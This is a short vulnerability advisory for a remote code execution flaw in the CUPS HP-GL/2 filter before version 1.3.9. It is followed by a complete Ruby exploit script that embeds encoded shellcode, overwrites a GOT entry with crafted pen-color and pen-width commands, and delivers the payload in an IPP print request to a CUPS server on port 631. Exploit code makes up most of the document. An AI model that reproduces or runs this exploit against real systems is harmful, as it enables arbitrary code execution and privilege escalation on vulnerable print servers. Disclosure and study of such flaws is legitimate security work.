source: https://www.securityfocus.com/bid/31688/info
CUPS is prone to a remote code-execution vulnerability caused by an error in the 'HP-GL/2 filter.
Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely cause a denial-of-service condition. Note that local users may also exploit this vulnerability to elevate privileges.
Successful remote exploits may require printer sharing to be enabled on the vulnerable system.
The issue affects versions prior to CUPS 1.3.9.
NOTE: This issue was previously discussed in BID 31681 (Apple Mac OS X 2008-007 Multiple Security Vulnerabilities), but has been assigned its own record to better document the vulnerability.
host = '127.0.0.1'
port = 631
printer = 'Virtual_Printer'
Pens_addr = 0x08073600
fprintf_got = 0x080532cc
shellcode =
"\x2b\xc9\x83\xe9\xf1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7c" +
"\x48\x22\xd6\x83\xeb\xfc\xe2\xf4\x16\x43\x7a\x4f\x2e\x2e\x4a\xfb" +
"\x1f\xc1\xc5\xbe\x53\x3b\x4a\xd6\x14\x67\x40\xbf\x12\xc1\xc1\x84" +
"\x94\x5e\x22\xd6\x7c\x67\x40\xbf\x12\x67\x56\xb9\x09\x2b\x4a\xf6" +
"\x53\x3c\x4f\xa6\x53\x31\x47\xba\x10\x27\x22\x81\x2f\xc1\xc3\x1b" +
"\xfc\x48\x22\xd6";
def CR_setup()
"CR0,1,0,1,0,1;"
end
def PS_setup()
"WU1;" +
"RO0;" +
"PS0,199.123455;";
end
def PS_setup_alt()
"WU0;" +
"RO0;";
end
def PW(width, pen)
"PW#{width},#{pen};"
end
def PW_alt(width, pen)
"PW#{width*25.4/72.0},#{pen};"
end
def PC(pen, r, g, b)
"PC#{pen},#{r},#{g},#{b};"
end
def memcpy(data)
while (data.length % 16 != 0)
data += "\x90";
end
s = ''
a = 0, b = 0, i = 0
data.unpack('f*').each { |f|
case ((i += 1) % 4)
when 1: a = f
when 2: b = f
when 3: s += PC(i/4, a, b, f)
else s += PW(f, (i-1)/4)
end
}
return s;
end
def poke(addr, value)
f = [value].pack('i').unpack('f')
i = (addr-Pens_addr)/16
return PC(i, f, f, f) + PW(f, i)
end
hpgl_data =
"BP;" +
CR_setup() +
PS_setup() +
memcpy(shellcode) +
poke(fprintf_got, Pens_addr) +
PC(0, 0, 0, 0);
def attribute(tag, name, value)
[tag].pack('C') +
[name.length].pack('n') +
name +
[value.length].pack('n') +
value
end
operation_attr =
attribute(0x47, 'attributes-charset', 'utf-8') +
attribute(0x48, 'attributes-natural-language', 'en-us') +
attribute(0x45, 'printer-uri', "http://#{host}:#{port}/printers/#{printer}") +
attribute(0x42, 'job-name', 'zee greeteengz') +
attribute(0x42, 'document-format', 'application/vnd.hp-HPGL');
ipp_data =
"\x01\x00" +
"\x00\x02" +
"\x00\x00\x00\x01" +
"\x01" +
operation_attr +
"\x02" +
"\x03" +
hpgl_data;
http_request =
"""POST /printers/
Content-Type: application/ipp
User-Agent: Internet Print Provider
Host:
Content-Length:
Connection: Keep-Alive
Cache-Control: no-cache
"""
require 'socket'
NL = "\r\n"
if (false)
puts hpgl_data
puts "[+] dumping HP/GL-2 into output.hpgl"
f = File.new('output.hpgl', 'w')
f.write(hpgl_data)
f.close()
exit(0)
end
puts "[+] connecting to #{host}:#{port}"
s = TCPSocket.open(host, port)
puts "[+] asking #{printer} for a printout"
http_request.each_line { |line|
s.write(line.strip + NL)
}
s.write(NL)
s.write(ipp_data)
s.read(1)
s.close()
puts "[+] done"